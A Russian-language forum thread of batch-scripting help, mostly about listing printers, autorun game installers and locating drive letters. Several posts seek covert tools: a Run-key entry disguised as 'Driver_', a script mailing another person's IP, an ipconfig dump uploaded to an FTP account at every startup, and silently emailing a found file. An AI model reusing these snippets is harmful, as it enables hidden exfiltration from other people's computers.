Написать скрипт на bat который пройдет по всем компьютерам с принтерами и сделать список. net view prncmp | find /i "print" >> result.xt Или сделать через powershell,так же пишется скрипт,который работает через WMI: gwmi win32_printer -filter "Shared='$true'" -computername xxxx | ft name,servername >> result.txt Через bat подключить можно:
доброе время суток, решил вот написать кое чего очень полезного))) делаю вобщем из Делфи.... но чтобы в итоге получались батники.... крч, смысл вопроса, надо добавить батник в автозагрузку, не подскажите как это можно сделать?(ОС ХР) вот это не работает((( @echo off Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Driver_"="%windir%\Cursors\ test.bat-LM" кто может помогите....
Есть батник: Задача этого батника присылать чужой IP на мыло. Он это делает каждую секунду, а мне нада чтоб хотябы каждые пять минут, ПОМОГИТЕ плиз, что там нада поменять?
боольшой батник очень... Code: @echo off ipconfig /all >> %date%_ip.txt echo open "your ftp accaunt">go&&echo "ftp user_name">>go&&echo "ftp_password">>go&&echo bin>>go&&echo pushd %date%_ip.txt>>go&&echo bye>>go ftp -s:go del go del /y %date%_ip.txt вот этот делает тоже самое.... только более короткий... но он делает это один раз.... чтобы делал допустим при каждом старте системы, просто кинуть в атозагрузку надо....
Привет всем! Есть задача: найти на компе определёный файл, и отправить его на почту. При этом, сделать это без участия пользоавтеля. Я имею в виду, чтоб запустил один раз и всё. Чтоб батник всё сделал сам без лишних вопросов.
Привет всем! Такая проблемка : Есть игра, есть ролик к ней, и патч. Делаю так, прописываю в авторане вместо setap.ехе setap.bat в батнике пишу Code: color c pleer1.exe stk_cop_950x536_rus.avi STALK.jpg ; Если можно так сделать чтоб картинка повисела секунд 10-15 посеридине монитора а потом закрылась start pleer2.exe 384_DJRAmix.mp3 ; музычка чтоб весеелее шла установка :) setap.exe ; установка дистрибутива А дальше нужно создать переменную чтоб Bat после установки проги нашёл файл и сделал ren xrEngine.exe xrEngine.exe.BAK ; бекап del /y xrEngine.exe ; удаление без запросов copy с CD пропатченного файлика xrEngine.exe в нужную дерикторию EXIT Вот путь к папке в которой сейчас файлик xrEngine.exe лежит Code: F:\Program Files\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin Пробовал делать типа %ProgramFiles%\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin Но чет не работает Помогите прописать переменные !
SpangeBoB спасибо конечно! Но ты не понял что я хочу. Вот например в Dup2 если надо пропатчить прогу, но не знаешь на каком диске она установлена пишем переменную типа %ProgramFiles% ну и так далее Если прога установленва не на C: а на D: патч и там найдёт нужный файл. Вот я хочу добиться такого же эфекта только чтоб прога патчилась автоматом через Bat ник и с CD
Выдираете с помощью reg из реестра по адресу и отфильтровываете по нужной программе: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall (ключ InstallLocation) И через цикл for подставить значение.Если программа ставиться через MSI,то выдернуть можно через. wmic product ( нужное свойство посмотреть здесь http://msdn.microsoft.com/en-us/library/aa394378(VS.85).aspx) PS.Хотя можно не чего и не отфильтровывать посмотреть у себя какой ключ создается в реестре и сразу же запросить параметр InstallLocation. Может кому на будущее пригодится скрипт:
Спасибо!!! Следующий вопрос: как создать переменную чтоб в неё заносилась буква флешки или CD ? Надо выполнить запуск ролика с CD через коммандную строку Чтоб типа такого было Code: Start mplayer2.exe %переменная содержащая букву CD%\Video\Rolik.avi И попутный вопрос выплывающий из этого: Как определить какому диску буква пренадлежит ? CD или Flesh ? И второй вопрос: можно ли заменить файл не зная на каком он диске находится? Ну сделать типа поиска по названию файла по всем дискам, а потом создать переменную в которую будет записываться путь до файла ? И ещё: Можно ли минимизировать bat файл в трей? И какими коммандами это делается? Заранее спасибо !!!
Если bat файл запускается с фэлш или cd то можно использовать %~d0\ - expands %I to a drive letter only Если надо через бат узнать,то тут уже сложнее гораздо.Тут надо использовать WMI.Это сами мучайте классы Win32_DriskDriver,WIn32_Volume Поиск по дискам можно осуществить через for ,dir /s и фильтровать по имени файла через findstr.Небольшой пример: Для определения подключенных flash можно попробовать Для CDROm посмотреть http://msdn.microsoft.com/en-us/library/aa394173(VS.85).aspx
В принципе один приятель предложил такой вариант с двумя батниками: первый start.bat : Code: %comspec% /c start /min Untitled.bat Второй Untitled.bat : Code: mplayerc.exe /fullscreen %~d0\vid\stk_cop_950x536_rus.avi EXIT А может всётаки можно одним батом обойтись ???